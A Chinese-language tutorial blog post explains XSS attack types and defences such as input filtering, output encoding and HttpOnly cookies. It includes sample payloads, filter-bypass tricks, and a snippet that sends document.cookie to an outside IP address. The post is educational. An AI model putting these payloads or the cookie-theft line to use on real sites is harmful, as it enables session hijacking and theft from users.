前言
黑客,相信大家對這一名詞並不陌生,黑客們往往會利用 Web 應用程序的漏洞來攻擊咱們的系統。開放式 Web 應用程序安全項目(OWASP, Open Web Application Security Project) 在 2017 年公布了十大安全漏洞列表:
- 注入
- 失效的身份認證
- 敏感信息泄漏
- XML 外部實體(XXE)
- 失效的訪問控制
- 安全配置錯誤
- 跨站腳本(XSS)
- 不安全的反序列化
- 使用含有已知漏洞的組件
- 不足的日志記錄和監控
該列表總結了 Web 應用程序最可能、最常見、最危險的十大漏洞,可以幫助開發團隊規范開發流程,提高 Web 產品的安全性。在 2007 年 OWASP top 10 中,XSS 高居所有 Web 威脅之首,在 2013 年 OWASP top 10 中,XSS 被列在第三位,在 2017 年 OWASP top 10 中,XSS 位於第七位,由此看出 XSS 在 Web 攻擊手段里,有着不小的地位。
什么是 XSS ?
XSS (Cross Site Scripting),即跨站腳本攻擊,是一種常見於 Web 應用中的計算機安全漏洞。惡意攻擊者往 Web 頁面里嵌入惡意的客戶端腳本,當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,進而達到攻擊者的目的。比如獲取用戶的 Cookie、導航到惡意網站、攜帶木馬等。借助安全圈里面非常有名的一句話:
所有的輸入都是有害的。
這句話把 XSS 漏洞的本質體現的淋漓盡致。大部分的 XSS 漏洞都是由於沒有處理好用戶的輸入,導致惡意腳本在瀏覽器中執行。任何輸入提交數據的地方都有可能存在 XSS。
XSS 腳本攻擊案例:
新浪微博遭受 XSS 攻擊
人人網遭受 XSS 攻擊
在這里使用一個簡單的例子測試XSS:
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>測試是否存在xss漏洞</title>
</head>
<body>
<span>輸入評論:</span>
<input type="text" value="" placeholder="請輸入您的評論" id="comment">
<input type="button" value="提交" id="submit">
<p>
<span>您的評論:</span>
<span id="commentList"></span>
</p>
<script>
document.getElementById("submit").addEventListener("click",function(){
let comment = document.getElementById("comment").value
document.getElementById("commentList").innerHTML = comment
})
</script>
</body>
</html>
注意:使用innerHtml插入代碼,只是當作普通的html執行,js解析器不會執行js腳本。
XSS 攻擊分類
反射型
用戶在頁面輸入框中輸入數據,通過 get 或者 post 方法向服務器端傳遞數據,輸入的數據一般是放在 URL 的 query string 中,或者是 form 表單中,如果服務端沒有對這些數據進行過濾、驗證或者編碼,直接將用戶輸入的數據呈現出來,就可能會造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常較小,但是某些反射型 XSS 還是會造成嚴重后果的。
黑客通常通過構造一個包含 XSS 代碼的 URL,誘導用戶點擊鏈接,觸發 XSS 代碼,達到劫持訪問、獲取 cookies 的目的。
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>xss漏洞廣告頁面</title>
<style>
a {
text-decoration: none;
font-size: 2rem;
}
img {
width: 8rem;
height: 8rem;
}
</style>
</head>
<body>
<a href="attack.html?content=<img src='aaa.png' onerror='alert(1)'/>">
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1520930605289&di=04f8835509d8c3c3fac4db7636247431&imgtype=0&src=http%3A%2F%2Fpic.58pic.com%2F58pic%2F13%2F14%2F16%2F37J58PICWTD_1024.jpg">
</a>
<a href="attack.html?content=<img src='aaa.png' onerror='while(true)alert(/關不掉/)'/>">敏感詞匯</a>
<script>
</script>
</body>
</html>
持久型
通常是因為服務器端將用戶輸入的惡意腳本沒有經過驗證就存儲在數據庫中,並且通過調用數據庫的方式,將數據呈現在瀏覽器上,當頁面被用戶打開的時候執行,每當用戶打開瀏覽器,惡意腳本就會執行。持久型的 XSS 攻擊相比非持久型的危害性更大,因為每當用戶打開頁面,惡意腳本都會執行。
例如一個評論功能,在提交評論的表單里面:
<input type="text" name="content" value="評論內容" >
正常情況下,用戶填入評論內容提交,服務端將評論內容保存到數據庫,其他用戶查看評論時,從后台提供的接口中取出數據展示。非正常情況下,惡意攻擊者在 value 中填寫惡意代碼:
<img src='' onerror='alert(/攻擊腳本/)' />
后台保存到數據庫中,其他用戶查看評論的時候就會執行這些惡意攻擊代碼。
DOM 型( DOM Based XSS )
DOM 是一個樹形結構,我們可以通過寫 js 代碼來修改節點,對象和值。DOM XSS 簡單理解就是它的輸出點在 DOM 。XSS 代碼可能是插入簡單的<script src="https://test.com/haker.js">
,載入第三方的惡意腳本,這些惡意腳本,通常是讀取用戶的 cookie 。
var hakerImg = document.createElement('img');
hakerImg.width = 0;
hakerImg.height = 0;
hakerImg.src =
'http://110.114.119.120:5000/?hacker='+encodeURIComponent(document.cookie);
XSS 常見攻擊方法
1、繞過 XSS-Filter,利用 <> 標簽注入 Html/JavaScript 代碼;
2、利用 HTML 標簽的屬性值進行 XSS 攻擊。例如:<img src=“javascript:alert(‘xss’)”/>
;(當然並不是所有的 Web 瀏覽器都支持 Javascript 偽協議,所以此類 XSS 攻擊具有一定的局限性)
3、空格、回車和 Tab。如果 XSS Filter 僅僅將敏感的輸入字符列入黑名單,比如 javascript,用戶可以利用空格、回車和 Tab 鍵來繞過過濾,例如:<img src=“javas cript:alert(/xss/);”/>
;
4、利用事件來執行跨站腳本。例如:<img src=“#” onerror= “alert(1)”/>
,當 src 錯誤的視乎就會執行 onerror 事件;
5、利用 CSS 跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)}
;
6、擾亂過濾規則。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>
;
7、利用字符編碼,通過這種技巧,不僅能讓 XSS 代碼繞過服務端的過濾,還能更好地隱藏 Shellcode;( JS 支持 unicode、eacapes、十六進制、十進制等編碼形式);
8、拆分跨站法,將 XSS 攻擊的代碼拆分開來,適用於應用程序沒有過濾 XSS 關鍵字符(如<、>)卻對輸入字符長度有限制的情況下;
9、DOM 型的 XSS 主要是由客戶端的腳本通過 DOM 動態地輸出數據到頁面上,它不依賴於提交數據到服務器,而是從客戶端獲得DOM中的數據在本地執行。容易導致 DOM 型的 XSS 的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage
;
XSS 如何防御?
從上面的介紹可知,XSS 漏洞是由於對用戶提交的數據沒有經過嚴格的過濾處理造成的,所以防御的原則就是不相信用戶輸入的數據,對輸入進行過濾,對輸出進行編碼。
1、使用 XSS Filter
針對用戶提交的數據進行有效的驗證,只接受我們規定的長度或內容的提交,過濾掉其他的輸入內容。比如:
-
表單數據指定值的類型:年齡只能是 int 、name 只能是字母數字等。
-
過濾或移除特殊的 html 標簽:
<script>
、<iframe>
等。 -
過濾 js 事件的標簽:
onclick
、onerror
、onfocus
等。
2、html 實體
當需要往 HTML 標簽之間插入不可信數據的時候,首先要做的就是對不可信數據進行 HTML Entity 編碼,在 html 中有些字符對於 HTML 來說是具有特殊意義的,所以這些特殊字符不允許在文本中直接使用,需要使用實體字符。 html 實體的存在是導致 XSS 漏洞的主要願意之一,因此我們需要將實體轉化為相應的實體編號。
顯示結果 | 描述 | 實體編號 |
---|---|---|
空格 |   ; | |
< | 小於 | < ; |
> | 大於 | > ; |
& | 和 | & ; |
'' | 引號 | " ; |
3、JavaScript編碼
這條原則主要針對動態生成的JavaScript代碼,這包括腳本部分以及HTML標簽的事件處理屬性(如onerror, onload等)。在往JavaScript代碼里插入數據的時候,只有一種情況是安全的,那就是對不可信數據進行JavaScript編碼,並且只把這些數據放到使用引號包圍起來的值部分(data value)之中,除了上面的那些轉義之外,還要附加上下面的轉義: \
轉成 \\
/
轉成 \/
;
轉成 ;
(全角;)
注意:在對不可信數據做編碼的時候,不能圖方便使用反斜杠\
對特殊字符進行簡單轉義,比如將雙引號 ”
轉義成 \”
,這樣做是不可靠的,因為瀏覽器在對頁面做解析的時候,會先進行HTML解析,然后才是JavaScript解析,所以雙引號很可能會被當做HTML字符進行HTML解析,這時雙引號就可以突破代碼的值部分,使得攻擊者可以繼續進行XSS攻擊;另外,輸出的變量的時候,變量值必須在引號內部,避免安全問題;更加嚴格的方式,對除了數字和字母以外的所有字符,使用十六進制\xhh 的方式進行編碼。
4、Http Only cookie
許多 XSS 攻擊的目的就是為了獲取用戶的 cookie,將重要的 cookie 標記為 http only,這樣的話當瀏覽器向服務端發起請求時就會帶上 cookie 字段,但是在腳本中卻不能訪問 cookie,這樣就避免了 XSS 攻擊利用 js 的 document.cookie
獲取 cookie。
總結
很多地方都可能產生 XSS 漏洞,並且產生的方式不一樣,所以對於這些漏洞,我們需要找到正確的方法來防御。XSS 漏洞在不斷的發展,上面介紹的防御方法幾乎能夠解決大部分的 XSS 漏洞,即便這樣,我們也不能掉以輕心,為了讓 Web 應用更安全,我們還需要結合其他的方法來加強 XSS 防御。
隨着科技的不斷發展,Web 應用變得越來越復雜,隨之而產生的漏洞(不僅限於 XSS ) 也越來越多。沒有什么方法能夠一次性解決所有安全問題,我們只能在實際的工作過程中,針對不同的安全漏洞進行針對性的防御。
參考資料
Cross-site Scripting (XSS)
77個XSS注入匯總
對於跨站腳本攻擊(XSS攻擊)的理解和總結